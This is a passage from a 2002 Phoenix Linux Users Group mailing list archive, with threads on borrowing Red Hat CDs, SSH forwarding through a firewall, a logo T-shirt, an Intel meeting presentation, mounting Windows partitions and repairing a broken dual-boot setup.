hoping 7.3 will work better. I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! Thanks! Mark Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 14:24:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 07:24:10 -0700 Subject: test Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B47A@mail.int.fh.org> You might want to change your font! -----Original Message----- From: phillipsm@cox.net [mailto:phillipsm@cox.net] Sent: Tuesday, June 11, 2002 1:08 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: test This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 14:28:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 07:28:07 -0700 Subject: This is going to sound really stupid but Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B47B@mail.int.fh.org> Follow the directions on he link at the bottom of each message. There is an unsubscribe spot on that page. You may be one of the handful subscribers who have chosen to have their info hidden. -----Original Message----- From: Dan Lund [mailto:dan_lund@hotmail.com] Sent: Tuesday, June 11, 2002 1:54 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: This is going to sound really stupid but I have a question.. How do I unsubscribe, so that I can subscribe again? I'm not in the database (my email address isn't) of people who are subscribed, but I get the list (explain that one?) and I need to get off of this digest-style mailing preference! help :) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 15:42:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (jtannenba) Date: Wed, 12 Jun 2002 08:42:18 -0700 (PDT) Subject: Fwd: SSH and Firewalls? Message-ID: <20020612154218.54283.qmail@web13908.mail.yahoo.com> I think you meant this to go to the plug list... Joe --- Steve Holmes wrote: > From: Steve Holmes > To: speakup@braille.uwo.ca > Subject: SSH and Firewalls? > Date: Tue, 11 Jun 2002 07:07:39 -0700 > > Question about running ssh over a masqueraded > network: > > I have a linux box that serves as the "point" > machine for my network > on which I forward ports with ipchains (2.2 kernel) > to to inside > amachines which each run sshd. My outside machine > currently is not > running ssh yet. If the default policy on my input > chain is ACCEPT, I > can successfully forward non standard ports through > to specific > machines an establish ssh sessions on them with no > problems. If I > default the input chain to DENY, as is done in > endoshield script, The > connections time out and I cannot connect. In both > cases, I forward > the same ports. > > Bottom line, If I use endoshield and add on the > ipfwadm commands to > forward the ports mentioned above, connections time > out; If I do not > use endoshield but use a simpler script that > basically leaves the > input chain wide open, I can establish the ssh > sessions - no problem. > > Any ideas out there, dispite this confusing message? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 16:28:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 12 Jun 2002 09:28:58 -0700 (PDT) Subject: Redhat 7.3 CDs In-Reply-To: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> Message-ID: Stop by New Vision and I'll give you a RH 7.3 CD set. 1920 E Broadway Rd Tempe, AZ On Tue, 11 Jun 2002, Mark Phillips wrote: > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. > > I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am hoping 7.3 will work better. > > I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! > > Thanks! > > Mark > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 15:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Richardson) Date: Wed, 12 Jun 2002 08:48:54 -0700 Subject: New Notebook Recommendations? References: <200206111223.47899.voltage_spike@fastmail.fm> Message-ID: <3D076D66.4060500@milagrosoft.com> Logan Kennelly wrote: > I am looking into buying a new notebook computer for use as a > general-purpose machine. One of my primary uses on the old laptop was > for testing new *nix systems (FreeBSD, various distributions of Linux, > etc.). > > I am considering buying from PC Club (www.pcclub.com), but if anybody > else has any suggestions, I am willing to listen. Considering looking at this site but pardon the flashing gif-somebody trying to make money I guess. http://www.linux-laptop.net/ I saw a nice looking HP book at price club for 1500 but didn't write down the model. Hope this helps, Eric From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 16:58:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 09:58:39 -0700 Subject: Plug logo Message-ID: <200206120958.39618.zen2now@qwest.net> good morning plug, hope this request doesnt offend anyone, but i was wondering is there any way i could get my hands on a Plug Logo T-Shirt? I love the logo, "A Penguin in the Desert". slr From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:19:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 12 Jun 2002 10:19:57 -0700 Subject: Thursday Meeting? Message-ID: <200206121019.57327.voltage_spike@fastmail.fm> Being new to the PLUG, I don't know how things work. The website claims that there is no planned topic of discussion. Will there still be a meeting? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:26:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 12 Jun 2002 10:26:06 -0700 Subject: Plug logo In-Reply-To: <200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <02061210260612.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Great idea. All we need to do is get someone to get the logo ready for screening, find someone to make the tshirts, and someone to cover the cost of having them made. OTOH, if you have the connections, by all means investigate it and lets see if we can get it done ;) On Wednesday 12 June 2002 09:58, you wrote: > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY kBumg9lr/hCgTiM+jPaCj8w/ =9O71 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:38:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 13:38:00 -0400 Subject: Thursday Meeting? Message-ID: I am sorry that the web site is out of date. YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. Alan On Wed, 12 Jun 2002 10:19:57 -0700 Logan Kennelly wrote: Being new to the PLUG, I don't know how things work. The website claims that there is no planned topic of discussion. Will there still be a meeting? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:40:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 10:40:05 -0700 Subject: Redhat 7.3 CDs Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B483@mail.int.fh.org> If you are in either the NW valley or near the Scottsdale airpark I can make a set for you. -----Original Message----- From: Matt Alexander [mailto:m@netpro.to] Sent: Wednesday, June 12, 2002 9:29 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Redhat 7.3 CDs Stop by New Vision and I'll give you a RH 7.3 CD set. 1920 E Broadway Rd Tempe, AZ On Tue, 11 Jun 2002, Mark Phillips wrote: > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. > > I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am hoping 7.3 will work better. > > I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! > > Thanks! > > Mark > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:46:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt) Date: Wed, 12 Jun 2002 10:46:13 -0700 Subject: How to access Windows files from Linux References: <200206121825.g5CIP3227739@PlugList.MyButt.Net> Message-ID: <000501c21239$0bd48c70$6401a8c0@mattxp> I just recently installed Linux and XP on the same HD - partitioned half and half on my 80 gig. In the past with older versions of Windows I've seen an icon appear for the C: drive on my (KDE) desktop, but not this time. How do I view the Windows files? I'm using SuSE Linux 8.0. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:54:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 12 Jun 2002 10:54:58 -0700 Subject: Thursday Meeting? In-Reply-To: <200206121019.57327.voltage_spike@fastmail.fm> References: <200206121019.57327.voltage_spike@fastmail.fm> Message-ID: <02061210545813.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Intel is coming in to do a presentation at the meeting this month. On Wednesday 12 June 2002 10:19, you wrote: > Being new to the PLUG, I don't know how things work. The website claims > that there is no planned topic of discussion. Will there still be a > meeting? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQeK8ysk3ywszI1FEQIM4QCg+5PUdaj9VB0Toc1Q57l53L0JvIMAoOYu 5nksiCWk8oFq0BSo5CX/PKcn =kmM3 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:58:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 12 Jun 2002 12:58:33 -0500 (CDT) Subject: Plug logo In-Reply-To: <02061210260612.08309@nova.wedge.org> Message-ID: The other option is CafePress.com. The product probably wont look as nice and you wont raise as much money, but there is no out of pocket cost. The way it works is you upload your images and design your product online at no cost. Then it creates a virtual store. Then you can buy products and a portion of each sale comes back to you. http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods is an example.... I would whip up some for plug, but unfortunately the image on the web site is... a. A .gif file (bad bad bad, i'm giving you a url to a .png version please fix the site to use the .png version) b. The .gif is so trashed it wont even open in gimp. (or gimp is that broken) -Derek Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) Why .gif is bad ( http://burnallgifs.org/ ) On Wed, 12 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Great idea. All we need to do is get someone to get the logo ready for > screening, find someone to make the tshirts, and someone to cover the cost of > having them made. > > OTOH, if you have the connections, by all means investigate it and lets see > if we can get it done ;) > > On Wednesday 12 June 2002 09:58, you wrote: > > good morning plug, > > > > hope this request doesnt offend anyone, but i > > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > > I love the logo, "A Penguin in the Desert". > > > > slr > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > kBumg9lr/hCgTiM+jPaCj8w/ > =9O71 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:02:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Wed, 12 Jun 2002 11:02:29 -0700 Subject: Plug logo References: <200206120958.39618.zen2now@qwest.net> <02061210260612.08309@nova.wedge.org> Message-ID: <3D078CB5.AB146643@leml.asu.edu> Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Great idea. All we need to do is get someone to get the logo ready for > screening, find someone to make the tshirts, and someone to cover the cost of > having them made. to bad my silkscreen press is in NM and I am in the middle of finishing up my thesis... I used to print the legends on PC boards in a fab shop. Later I also printed T-shirts, posters, and tile. EBo -- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:18:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 11:18:01 -0700 Subject: Plug logo Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B489@mail.int.fh.org> If someone can get them made, we could use the "For Sale" site Kimi has on unitywave.com to sell/distribute them. -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Wednesday, June 12, 2002 10:59 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug logo The other option is CafePress.com. The product probably wont look as nice and you wont raise as much money, but there is no out of pocket cost. The way it works is you upload your images and design your product online at no cost. Then it creates a virtual store. Then you can buy products and a portion of each sale comes back to you. http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods is an example.... I would whip up some for plug, but unfortunately the image on the web site is... a. A .gif file (bad bad bad, i'm giving you a url to a .png version please fix the site to use the .png version) b. The .gif is so trashed it wont even open in gimp. (or gimp is that broken) -Derek Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) Why .gif is bad ( http://burnallgifs.org/ ) On Wed, 12 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Great idea. All we need to do is get someone to get the logo ready for > screening, find someone to make the tshirts, and someone to cover the cost of > having them made. > > OTOH, if you have the connections, by all means investigate it and lets see > if we can get it done ;) > > On Wednesday 12 June 2002 09:58, you wrote: > > good morning plug, > > > > hope this request doesnt offend anyone, but i > > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > > I love the logo, "A Penguin in the Desert". > > > > slr > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > kBumg9lr/hCgTiM+jPaCj8w/ > =9O71 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:20:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 12 Jun 2002 11:20:40 -0700 Subject: How to access Windows files from Linux In-Reply-To: <000501c21239$0bd48c70$6401a8c0@mattxp> References: <200206121825.g5CIP3227739@PlugList.MyButt.Net> <000501c21239$0bd48c70$6401a8c0@mattxp> Message-ID: <200206121120.40136.voltage_spike@fastmail.fm> On Wednesday 12 June 2002 10:46 am, Matt wrote: > I just recently installed Linux and XP on the same HD - partitioned half > and half on my 80 gig. In the past with older versions of Windows I've > seen an icon appear for the C: drive on my (KDE) desktop, but not this > time. How do I view the Windows files? I'm using SuSE Linux 8.0. What does your /etc/fstab file look like? Is the drive formatted with NTFS or FAT32? It will work with either case, but the former is read-only. The line you are looking for in fstab will appear similar to: /dev/hda1 /mnt/windows vfat iocharset=iso8859-1,umask=0,codepage=850 0 0 or /dev/hda1 /mnt/windows ntfs uid=,gid=,ro 0 0 Depending on which file system you have. Also of note is that the directory /mnt/windows must exist. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:34:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 11:34:30 -0700 Subject: Just to set the record straight Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B48A@mail.int.fh.org> > --5 June 2002 Microsoft Admits Contribution to Think Tank That > Published Anti Open-Source Paper > Microsoft admits that it provides funding to the Alexis de Tocqueville > Institution, the think tank that recently released a white paper that > maintains open source software is not secure and that government > should instead use proprietary software. The Institution will not > comment on specific funding for the report. > http://www.wired.com/news/business/0,1367,52973,00.html > [Editor's (Paller) Note: Last year, the same think tank published a > paper extolling the benefits of Microsoft's certification programs.] > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 19:07:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 12:07:59 -0700 Subject: Plug logo In-Reply-To: <200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <200206121207.59399.zen2now@qwest.net> On Wednesday 12 June 2002 09:58 am, slr wrote: oh my, i thought you guys may have already done this and had some laying around. so now i have a mission, i will let you guys know what i come up with. but the image is a gif, so i am off to the graphics department to see if they can help us. slr > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 19:34:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 12 Jun 2002 12:34:22 -0700 Subject: Plug logo In-Reply-To: References: Message-ID: <02061212342215.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thanks for the png of the plug logo. I replaced all the plug gifs on the Install Fest web site with the png versions. I will use it whenever I can now. Btw, how did you open the gif to convert it? GIMP wouldnt open it for me either. On Wednesday 12 June 2002 10:58, you wrote: > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQeiPisk3ywszI1FEQJB3ACeKYtOUPSJyX0G90K21a3ZdJzznzUAni+a j0Zm3MHWbj8iXsieflIbY5tp =+u6q -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:53:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 12 Jun 2002 14:53:03 -0400 (EDT) Subject: Plug logo In-Reply-To: <02061212342215.08309@nova.wedge.org> Message-ID: On Wed, 12 Jun 2002, Jim wrote: > Btw, how did you open the gif to convert it? GIMP wouldnt open it for me > either. When I need to do this I just take a screenshot of mozilla. Kind of brute force, but it works. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:16:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Wed, 12 Jun 2002 13:16:50 -0700 Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. In-Reply-To: Message-ID: Thanks for the help. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mark Berkwitt Sent: Tuesday, June 11, 2002 7:15 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. I'm trying to use the update installation to Mandrake 8.2 to fix the problem; it's uncooporative. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mark Berkwitt Sent: Tuesday, June 11, 2002 3:34 PM To: PLUG Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. I created a new fat32 partition from free space on my 40GB hdd. Now my dual boot W2K/Mandrake won't boot. I used the "Disk Manager" feature in W2K Pro to create a fat32 partition. It complained that another program was using the hdd or something but I managed to format it anyway and use it within W2K. Now I can't start my linux installation. The W2K still boots. This is my partition map: Primary HTFS 7.81GB Extended 494MB / ext2 or ext3 243MB swap 2.93GB ? ext? 4.6GB /home ext? 3.91GB fat32 << Here's the new one I just made. (G:) 14GB FREE 3.91GB fat32 << Old part. for sharing .mp3 and transfering between OSs. (F:) Here is my error message: Activating swap partitions: swapon: /dev/hda7: Invalid argument [FAILED] Finding module dependencies [OK] Checking filesystems /dev/hda9: The superblock could not be read or does not describe a correct ext2 filesystem. If the device is valid and it really contains an ext2 filesystem (and not a swap or ufs or something else), then the superblock is corrupt, and you might try running e2fsck with an alternate superblodk: e2fsck -b 8193 fsck.ext3: Bad magic number in super-block while trying to open /dev/hda9 /dev/hda8: clean, 587/602656 files, 29306/1204867 Failed to check filesystem. Do you want to repair the errors? (Y/N) (beware, you can lose data) I tried deleting the newly created fat32 but my Mandrake 8.1 still won't start. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:18:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Wed, 12 Jun 2002 13:18:13 -0700 Subject: Thursday Meeting? References: Message-ID: <3D07AC85.35466B3B@pop.phnx.uswest.net> Alan, are they going to mosey out West too? Steve alandd@mindspring.com wrote: > > I am sorry that the web site is out of date. > > YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. > > They will be bringing stuff to giveaway too! I hope you can be there. > > Alan > > On Wed, 12 Jun 2002 10:19:57 -0700 Logan Kennelly wrote: > > Being new to the PLUG, I don't know how things work. The website claims > that there is no planned topic of discussion. Will there still be a > meeting? > > -- > Logan Kennelly > ,,, > (. .) > --ooO-(_)-Ooo-- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:28:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 13:28:39 -0700 Subject: Plug logo In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B489@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B489@mail.int.fh.org> Message-ID: <200206121328.39640.zen2now@qwest.net> On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: thats a great idea, but what would we do with the money? we could buy beer!!! :~D slr > If someone can get them made, we could use the "For Sale" site Kimi has on > unitywave.com to sell/distribute them. > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Wednesday, June 12, 2002 10:59 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > > The other option is CafePress.com. The product probably wont look as nice > and you wont raise as much money, but there is no out of pocket cost. > > The way it works is you upload your images and design your product online > at no cost. Then it creates a virtual store. Then you can buy products > and a portion of each sale comes back to you. > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > is an example.... I would whip up some for plug, but unfortunately the > image on the web site is... > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version please > fix the site to use the .png version) > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > broken) > > -Derek > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > Why .gif is bad ( http://burnallgifs.org/ ) > > On Wed, 12 Jun 2002, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Great idea. All we need to do is get someone to get the logo ready for > > screening, find someone to make the tshirts, and someone to cover the > > cost of having them made. > > > > OTOH, if you have the connections, by all means investigate it and lets > > see if we can get it done ;) > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > good morning plug, > > > > > > hope this request doesnt offend anyone, but > > > i was wondering is there any way i could get my hands on a Plug Logo > > > T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > slr > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > kBumg9lr/hCgTiM+jPaCj8w/ > > =9O71 > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:26:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 13:26:28 -0700 Subject: Plug logo In-Reply-To: 